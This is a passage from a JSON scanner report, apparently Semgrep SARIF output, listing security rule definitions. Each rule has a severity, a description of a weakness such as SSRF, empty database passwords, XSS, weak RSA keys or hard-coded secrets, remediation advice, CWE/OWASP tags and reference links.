cpp.lang.security.rng.predictable-seed-rng-time.predictable-seed-rng-time"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insecure redirect in this nginx configuration. If no scheme is specified, nginx will forward the request with the incoming scheme. This could result in unencrypted communications. To fix this, include the 'https' scheme."},"help":{"markdown":"Detected an insecure redirect in this nginx configuration. If no scheme is specified, nginx will forward the request with the incoming scheme. This could result in unencrypted communications. To fix this, include the 'https' scheme.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.insecure-redirect.insecure-redirect)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected an insecure redirect in this nginx configuration. If no scheme is specified, nginx will forward the request with the incoming scheme. This could result in unencrypted communications. To fix this, include the 'https' scheme."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.insecure-redirect.insecure-redirect","id":"generic.nginx.security.insecure-redirect.insecure-redirect","name":"generic.nginx.security.insecure-redirect.insecure-redirect","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.insecure-redirect.insecure-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep-format.tainted-ssrf-deepsemgrep-format)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep-format.tainted-ssrf-deepsemgrep-format","id":"java.servlets.security.tainted-ssrf-deepsemgrep-format.tainted-ssrf-deepsemgrep-format","name":"java.servlets.security.tainted-ssrf-deepsemgrep-format.tainted-ssrf-deepsemgrep-format","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ssrf-deepsemgrep-format.tainted-ssrf-deepsemgrep-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.tormysql.python-tormysql-empty-password.python-tormysql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.tormysql.python-tormysql-empty-password.python-tormysql-empty-password","id":"python.tormysql.python-tormysql-empty-password.python-tormysql-empty-password","name":"python.tormysql.python-tormysql-empty-password.python-tormysql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.tormysql.python-tormysql-empty-password.python-tormysql-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cookie Secure flag is explicitly disabled. You should enforce this value to avoid accidentally presenting sensitive cookie values over plaintext HTTP connections."},"help":{"markdown":"Cookie Secure flag is explicitly disabled. You should enforce this value to avoid accidentally presenting sensitive cookie values over plaintext HTTP connections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.web-config-insecure-cookie-settings.web-config-insecure-cookie-settings)\n - [https://docs.microsoft.com/en-us/aspnet/web-api/overview/advanced/http-cookies](https://docs.microsoft.com/en-us/aspnet/web-api/overview/advanced/http-cookies)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.web.security.formsauthentication.requiressl?redirectedfrom=MSDN&view=netframework-4.8#System_Web_Security_FormsAuthentication_RequireSSL](https://docs.microsoft.com/en-us/dotnet/api/system.web.security.formsauthentication.requiressl?redirectedfrom=MSDN&view=netframework-4.8#System_Web_Security_FormsAuthentication_RequireSSL)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.web.security.roles.cookierequiressl?redirectedfrom=MSDN&view=netframework-4.8#System_Web_Security_Roles_CookieRequireSSL](https://docs.microsoft.com/en-us/dotnet/api/system.web.security.roles.cookierequiressl?redirectedfrom=MSDN&view=netframework-4.8#System_Web_Security_Roles_CookieRequireSSL)\n","text":"Cookie Secure flag is explicitly disabled. You should enforce this value to avoid accidentally presenting sensitive cookie values over plaintext HTTP connections."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.web-config-insecure-cookie-settings.web-config-insecure-cookie-settings","id":"csharp.dotnet.security.web-config-insecure-cookie-settings.web-config-insecure-cookie-settings","name":"csharp.dotnet.security.web-config-insecure-cookie-settings.web-config-insecure-cookie-settings","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.web-config-insecure-cookie-settings.web-config-insecure-cookie-settings"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RSA keys should be at least 2048 bits based on NIST recommendation."},"help":{"markdown":"RSA keys should be at least 2048 bits based on NIST recommendation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"RSA keys should be at least 2048 bits based on NIST recommendation."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key","id":"java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key","name":"java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The last user in the container is 'root'. This is a security hazard because if an attacker gains control of the container they will have root access. Switch back to another user after running commands as 'root'."},"help":{"markdown":"The last user in the container is 'root'. This is a security hazard because if an attacker gains control of the container they will have root access. Switch back to another user after running commands as 'root'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.last-user-is-root.last-user-is-root)\n - [https://github.com/hadolint/hadolint/wiki/DL3002](https://github.com/hadolint/hadolint/wiki/DL3002)\n","text":"The last user in the container is 'root'. This is a security hazard because if an attacker gains control of the container they will have root access. Switch back to another user after running commands as 'root'."},"helpUri":"https://semgrep.dev/r/dockerfile.security.last-user-is-root.last-user-is-root","id":"dockerfile.security.last-user-is-root.last-user-is-root","name":"dockerfile.security.last-user-is-root.last-user-is-root","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: dockerfile.security.last-user-is-root.last-user-is-root"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to leverage biometrics via Local Authentication, which returns a simple boolean result for authentication. This design is subject to bypass with runtime tampering tools such as Frida, Substrate, and others. Although this is limited to rooted (jailbroken) devices, consider implementing biometric authentication the reliable way - via Keychain Services."},"help":{"markdown":"The application was observed to leverage biometrics via Local Authentication, which returns a simple boolean result for authentication. This design is subject to bypass with runtime tampering tools such as Frida, Substrate, and others. Although this is limited to rooted (jailbroken) devices, consider implementing biometric authentication the reliable way - via Keychain Services.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.local-biometrics.insecure-biometrics)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n - [https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df](https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df)\n","text":"The application was observed to leverage biometrics via Local Authentication, which returns a simple boolean result for authentication. This design is subject to bypass with runtime tampering tools such as Frida, Substrate, and others. Although this is limited to rooted (jailbroken) devices, consider implementing biometric authentication the reliable way - via Keychain Services."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.local-biometrics.insecure-biometrics","id":"swift.biometrics-and-auth.local-biometrics.insecure-biometrics","name":"swift.biometrics-and-auth.local-biometrics.insecure-biometrics","properties":{"precision":"very-high","tags":["CWE-305: Authentication Bypass by Primary Weakness","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.local-biometrics.insecure-biometrics"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Network ACLs allow you to reduce your exposure to risk by limiting what can access your key vault. The default action of the Network ACL should be set to deny for when IPs are not matched. Azure services can be allowed to bypass."},"help":{"markdown":"Network ACLs allow you to reduce your exposure to risk by limiting what can access your key vault. The default action of the Network ACL should be set to deny for when IPs are not matched. Azure services can be allowed to bypass.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-specify-network-acl.keyvault-specify-network-acl)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault#network_acls](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault#network_acls)\n - [https://docs.microsoft.com/en-us/azure/key-vault/general/network-security](https://docs.microsoft.com/en-us/azure/key-vault/general/network-security)\n","text":"Network ACLs allow you to reduce your exposure to risk by limiting what can access your key vault. The default action of the Network ACL should be set to deny for when IPs are not matched. Azure services can be allowed to bypass."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-specify-network-acl.keyvault-specify-network-acl","id":"terraform.azure.security.keyvault.keyvault-specify-network-acl.keyvault-specify-network-acl","name":"terraform.azure.security.keyvault.keyvault-specify-network-acl.keyvault-specify-network-acl","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.keyvault.keyvault-specify-network-acl.keyvault-specify-network-acl"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.mysql-connection-empty-password.mysql-connection-empty-password)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.mysql-connection-empty-password.mysql-connection-empty-password","id":"rust.secrets.sqlx.mysql-connection-empty-password.mysql-connection-empty-password","name":"rust.secrets.sqlx.mysql-connection-empty-password.mysql-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.mysql-connection-empty-password.mysql-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected non-static command inside $EXEC. Audit the input to '$EXEC'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside $EXEC. Audit the input to '$EXEC'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.dangerous-exec.dangerous-exec)\n - [https://guides.rubyonrails.org/security.html#command-line-injection](https://guides.rubyonrails.org/security.html#command-line-injection)\n","text":"Detected non-static command inside $EXEC. Audit the input to '$EXEC'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.dangerous-exec.dangerous-exec","id":"ruby.lang.security.dangerous-exec.dangerous-exec","name":"ruby.lang.security.dangerous-exec.dangerous-exec","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.dangerous-exec.dangerous-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cannot determine what '$UNK' is and it is used with a '<script>' tag. This could be susceptible to cross-site scripting (XSS). Ensure '$UNK' is not externally controlled, or sanitize this data."},"help":{"markdown":"Cannot determine what '$UNK' is and it is used with a '<script>' tag. This could be susceptible to cross-site scripting (XSS). Ensure '$UNK' is not externally controlled, or sanitize this data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.unknown-value-with-script-tag.unknown-value-with-script-tag)\n - [https://www.developsec.com/2017/11/09/xss-in-a-script-tag/](https://www.developsec.com/2017/11/09/xss-in-a-script-tag/)\n - [https://github.com/juice-shop/juice-shop/blob/1ceb8751e986dacd3214a618c37e7411be6bc11a/routes/videoHandler.ts#L68](https://github.com/juice-shop/juice-shop/blob/1ceb8751e986dacd3214a618c37e7411be6bc11a/routes/videoHandler.ts#L68)\n","text":"Cannot determine what '$UNK' is and it is used with a '<script>' tag. This could be susceptible to cross-site scripting (XSS). Ensure '$UNK' is not externally controlled, or sanitize this data."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.unknown-value-with-script-tag.unknown-value-with-script-tag","id":"javascript.lang.security.audit.unknown-value-with-script-tag.unknown-value-with-script-tag","name":"javascript.lang.security.audit.unknown-value-with-script-tag.unknown-value-with-script-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.unknown-value-with-script-tag.unknown-value-with-script-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-secret.python-elasticsearch-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-secret.python-elasticsearch-hardcoded-secret","id":"python.elasticsearch.python-elasticsearch-hardcoded-secret.python-elasticsearch-hardcoded-secret","name":"python.elasticsearch.python-elasticsearch-hardcoded-secret.python-elasticsearch-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.elasticsearch.python-elasticsearch-hardcoded-secret.python-elasticsearch-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration allows for insecure accessing of media content over HTTP connections. This means that images, video, and other media (AVFoundation) data may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc)."},"help":{"markdown":"The application's App Transport Security (ATS) configuration allows for insecure accessing of media content over HTTP connections. This means that images, video, and other media (AVFoundation) data may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-media-load.ATS-insecure-media-loads)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration allows for insecure accessing of media content over HTTP connections. This means that images, video, and other media (AVFoundation) data may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc)."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-media-load.ATS-insecure-media-loads","id":"swift.insecure-communication.ats.ats-media-load.ATS-insecure-media-loads","name":"swift.insecure-communication.ats.ats-media-load.ATS-insecure-media-loads","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-media-load.ATS-insecure-media-loads"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.xpath-injection.xpath-taint-grpc.xpath-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.xpath-injection.xpath-taint-grpc.xpath-taint-grpc","id":"csharp.dotnet-core.xpath-injection.xpath-taint-grpc.xpath-taint-grpc","name":"csharp.dotnet-core.xpath-injection.xpath-taint-grpc.xpath-taint-grpc","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.xpath-injection.xpath-taint-grpc.xpath-taint-grpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If unverified user data can reach the `exec` method it can result in Remote Code Execution"},"help":{"markdown":"If unverified user data can reach the `exec` method it can result in Remote Code Execution\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.shelljs.security.shelljs-exec-injection.shelljs-exec-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"If unverified user data can reach the `exec` method it can result in Remote Code Execution"},"helpUri":"https://semgrep.dev/r/javascript.shelljs.security.shelljs-exec-injection.shelljs-exec-injection","id":"javascript.shelljs.security.shelljs-exec-injection.shelljs-exec-injection","name":"javascript.shelljs.security.shelljs-exec-injection.shelljs-exec-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.shelljs.security.shelljs-exec-injection.shelljs-exec-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Calling `$WG.Add` inside of an anonymous goroutine may result in `$WG.Wait`\nwaiting for more or less calls to `$WG.Done()` than expected\n"},"help":{"markdown":"Calling `$WG.Add` inside of an anonymous goroutine may result in `$WG.Wait`\nwaiting for more or less calls to `$WG.Done()` than expected\n\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.waitgroup-add-called-inside-goroutine.waitgroup-add-called-inside-goroutine)\n - [https://go101.org/article/concurrent-common-mistakes.html](https://go101.org/article/concurrent-common-mistakes.html)\n","text":"Calling `$WG.Add` inside of an anonymous goroutine may result in `$WG.Wait`\nwaiting for more or less calls to `$WG.Done()` than expected\n"},"helpUri":"https://semgrep.dev/r/trailofbits.go.waitgroup-add-called-inside-goroutine.waitgroup-add-called-inside-goroutine","id":"trailofbits.go.waitgroup-add-called-inside-goroutine.waitgroup-add-called-inside-goroutine","name":"trailofbits.go.waitgroup-add-called-inside-goroutine.waitgroup-add-called-inside-goroutine","properties":{"precision":"very-high","tags":["CWE-667: Improper Locking","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.waitgroup-add-called-inside-goroutine.waitgroup-add-called-inside-goroutine"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"IPv4Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'."},"help":{"markdown":"IPv4Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv4network2)\n","text":"IPv4Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv4network2","id":"python.lang.compatibility.python37.python37-compatibility-ipv4network2","name":"python.lang.compatibility.python37.python37-compatibility-ipv4network2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-ipv4network2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SSH Password detected"},"help":{"markdown":"SSH Password detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-ssh-password.detected-ssh-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"SSH Password detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-ssh-password.detected-ssh-password","id":"generic.secrets.security.detected-ssh-password.detected-ssh-password","name":"generic.secrets.security.detected-ssh-password.detected-ssh-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-ssh-password.detected-ssh-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.psycopg2.python-psycopg2-empty-password.python-psycopg2-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.psycopg2.python-psycopg2-empty-password.python-psycopg2-empty-password","id":"python.psycopg2.python-psycopg2-empty-password.python-psycopg2-empty-password","name":"python.psycopg2.python-psycopg2-empty-password.python-psycopg2-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.psycopg2.python-psycopg2-empty-password.python-psycopg2-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-httpx.tainted-fastapi-http-request-httpx)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base 